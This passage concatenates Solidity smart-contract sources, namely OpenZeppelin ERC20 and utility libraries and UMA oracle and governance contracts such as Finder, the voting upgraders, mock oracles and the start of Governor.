uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the
* upgrade process for Voting.sol.
* @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only
* the ones that need to be performed atomically.
*/
contract VotingUpgrader {
// Existing governor is the only one who can initiate the upgrade.
address public governor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public newVoting;
// Address to call setMigrated on the old voting contract.
address public setMigratedAddress;
/**
* @notice Removes an address from the whitelist.
* @param _governor the Governor contract address.
* @param _existingVoting the current/existing Voting contract address.
* @param _newVoting the new Voting deployment address.
* @param _finder the Finder contract address.
* @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to
* old voting contract (used to claim rewards on others' behalf). Note: this address
* can always be changed by the voters.
*/
constructor(
address _governor,
address _existingVoting,
address _newVoting,
address _finder,
address _setMigratedAddress
) public {
governor = _governor;
existingVoting = Voting(_existingVoting);
newVoting = _newVoting;
finder = Finder(_finder);
setMigratedAddress = _setMigratedAddress;
}
/**
* @notice Performs the atomic portion of the upgrade process.
* @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and
* returns ownership of the existing Voting contract and Finder back to the Governor.
*/
function upgrade() external {
require(msg.sender == governor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting);
// Set the preset "migrated" address to allow this address to claim rewards on voters' behalf.
// This also effectively shuts down the existing voting contract so new votes cannot be triggered.
existingVoting.setMigrated(setMigratedAddress);
// Transfer back ownership of old voting contract and the finder to the governor.
existingVoting.transferOwnership(governor);
finder.transferOwnership(governor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/FinderInterface.sol";
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces.
*/
contract Finder is FinderInterface, Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 of the interface name that is either changed or registered.
* @param implementationAddress address of the implementation contract.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
override
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the defined interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view override returns (address) {
address implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "Implementation not found");
return implementationAddress;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract Umip3Upgrader {
// Existing governor is the only one who can initiate the upgrade.
address public existingGovernor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
address public newGovernor;
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public voting;
address public identifierWhitelist;
address public store;
address public financialContractsAdmin;
address public registry;
constructor(
address _existingGovernor,
address _existingVoting,
address _finder,
address _voting,
address _identifierWhitelist,
address _store,
address _financialContractsAdmin,
address _registry,
address _newGovernor
) public {
existingGovernor = _existingGovernor;
existingVoting = Voting(_existingVoting);
finder = Finder(_finder);
voting = _voting;
identifierWhitelist = _identifierWhitelist;
store = _store;
financialContractsAdmin = _financialContractsAdmin;
registry = _registry;
newGovernor = _newGovernor;
}
function upgrade() external {
require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, voting);
finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist);
finder.changeImplementationAddress(OracleInterfaces.Store, store);
finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin);
finder.changeImplementationAddress(OracleInterfaces.Registry, registry);
// Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated.
finder.transferOwnership(newGovernor);
// Inform the existing Voting contract of the address of the new Voting contract and transfer its
// ownership to the new governor to allow for any future changes to the migrated contract.
existingVoting.setMigrated(voting);
existingVoting.transferOwnership(newGovernor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracleAncillary is OracleAncillaryInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices;
QueryPoint[] private requestedPrices;
event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData);
event PushedPrice(
address indexed pusher,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price
);
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time, ancillaryData));
emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData);
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) external {
verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time][ancillaryData];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
emit PushedPrice(msg.sender, identifier, time, ancillaryData, price);
}
// Checks whether a price has been resolved.
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracle is OracleInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices;
QueryPoint[] private requestedPrices;
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(bytes32 identifier, uint256 time) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time));
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
int256 price
) external {
verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
}
// Checks whether a price has been resolved.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OracleInterface.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Takes proposals for certain governance actions and allows UMA token holders to vote on them.
*/
contract Governor is MultiRole, Testable {
using SafeMath for uint256;
using Address for address;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the proposer.
Proposer // Address that can make proposals.
}
struct Transaction {
address to;
uint256 value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint256 requestTime;
}
FinderInterface private finder;
Proposal[] public proposals;
/****************************************
* EVENTS *
****************************************/
// Emitted when a new proposal is created.
event NewProposal(uint256 indexed id, Transaction[] transactions);
// Emitted when an existing proposal is executed.
event ProposalExecuted(uint256 indexed id, uint256 transactionIndex);
/**
* @notice Construct the Governor contract.
* @param _finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param _startingId the initial proposal id that the contract will begin incrementing from.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _finderAddress,
uint256 _startingId,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender);
// Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite
// other storage slots in the contract.
uint256 maxStartingId = 10**18;
require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18");
// This just sets the initial length of the array to the startingId since modifying length directly has been
// disallowed in solidity 0.6.
assembly {
sstore(proposals_slot, _startingId)
}
}
/****************************************
* PROPOSAL ACTIONS *
****************************************/
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that
* disallows structs arrays to be passed to external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) {
uint256 id = proposals.length;
uint256 time = getCurrentTime();
